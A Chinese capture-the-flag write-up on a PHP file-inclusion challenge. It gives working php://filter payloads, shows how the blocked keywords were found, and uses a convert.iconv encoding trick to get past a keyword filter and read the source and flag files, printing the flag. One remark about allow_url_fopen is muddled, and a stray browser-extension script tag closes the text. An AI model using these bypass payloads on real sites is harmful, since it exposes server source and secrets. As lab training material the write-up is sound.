了解一下什么是文件包含
文件包含(File Inclusion)是一种将外部文件内容嵌入主程序的编程技术,用于代码复用、动态加载或模块化设计,常见于Web开发(如PHP的include/require)或语言预处理(如C的#include),但若未校验用户输入或路径,可能引发本地/远程文件包含攻击(LFI/RFI)或目录遍历漏洞;当包含的文件与主程序编码不一致时(如UTF-8与GBK混用),需通过iconv等工具提前转换编码以避免乱码,因此实际开发中需结合安全验证(如路径白名单、禁用远程包含)和统一编码规范(如全项目UTF-8),同时利用构建工具自动化处理包含与转换流程,从而兼顾功能复用与数据完整性。
一、分析
首先分析源码可以看到$filename处可能会存在文件包含漏洞,而在文件包含中存在include("./check.php"),可能存在过滤,check.php可能就是过滤文件,通过最常用的方式访问一波
/?filename=php://filter/read=convert.base64encode/resource=./check.php
发现被过滤了
二、测试
1.我们可以用以下方式来排除过滤字段,将各字段首字母更改为‘0’。
?filename=0hp://0ilter/0ead=0onvert.0ase64--0ncode/0esource=./0heck.0hp
通过排查得出
?filename=php://filter/0ead=convert.0ase64-0ncode/resource=./check.php
即0ead=convert.0ase64-0ncode被过滤了,但是convert没有被过滤掉。
2.可以省略read进行绕过
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
两者区别不大,区别在于使用条件:读取需要开启 allow_url_fopen,不加不需要开启 allow_url_include。
3.转换过滤器
对于转换过滤器convert感兴趣可参考链接~PHP: 转换过滤器 - Manual
使用过滤器convert.iconv.* 进行绕过,
使用方法:convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>
- UCS-4*
- UCS-4BE
- UCS-4LE*
- UCS-2
- UCS-2BE
- UCS-2LE
- UTF-32*
- UTF-32BE*
- UTF-32LE*
- UTF-16*
- UTF-16BE*
- UTF-16LE*
- UTF-7
- UTF7-IMAP
- UTF-8*
- ASCII*
- EUC-JP*
- SJIS*
- eucJP-win*
- SJIS-win*
- ISO-2022-JP
- ISO-2022-JP-MS
- CP932
- CP51932
- SJIS-mac(别名:MacJapanese)
- SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
- SJIS-Mobile#KDDI(别名:SJIS-KDDI)
- SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
- UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
- UTF-8-Mobile#KDDI-A
- UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
- UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
- ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
- JIS
- JIS-ms
- CP50220
- CP50220raw
- CP50221
- CP50222
- ISO-8859-1*
- ISO-8859-2*
- ISO-8859-3*
- ISO-8859-4*
- ISO-8859-5*
- ISO-8859-6*
- ISO-8859-7*
- ISO-8859-8*
- ISO-8859-9*
- ISO-8859-10*
- ISO-8859-13*
- ISO-8859-14*
- ISO-8859-15*
- ISO-8859-16*
- byte2be
- byte2le
- byte4be
- byte4le
- BASE64
- HTML-ENTITIES(别名:HTML)
- 7bit
- 8bit
- EUC-CN*
- CP936
- GB18030
- HZ
- EUC-TW*
- CP950
- BIG-5*
- EUC-KR*
- UHC(别名:CP949)
- ISO-2022-KR
- Windows-1251(别名:CP1251)
- Windows-1252(别名:CP1252)
- CP866(别名:IBM866)
- KOI8-R*
- KOI8-U*
- ArmSCII-8(别名:ArmSCII8)
<input-encoding>.<output-encoding>,我可以通过bp爆破构造,也可以手动简单测试几下,发现有很多都可以构造payload;
我们这里取其中一种,通过?filename=php://filter/convert.iconv.utf-8.utf-32/resource=./check.php访问,可以看到check.php中的代码preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);
这段代码我们可以看到他所过滤的字段
<?php if($_GET["filename"])
{ $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);';
if (eval($preg_match_username))
{ die("do not hack!"); }
}
构造payload
?filename=php://filter/convert.iconv.utf-8.utf-32/resource=flag.php
得到flag,cyberpeace{34dabe314443b9af8d4aa50ca6e0ddb0}
<script src="chrome-extension://lopnbnfpjmgpbppclhclehhgafnifija/aiscripts/script-main.js"></script>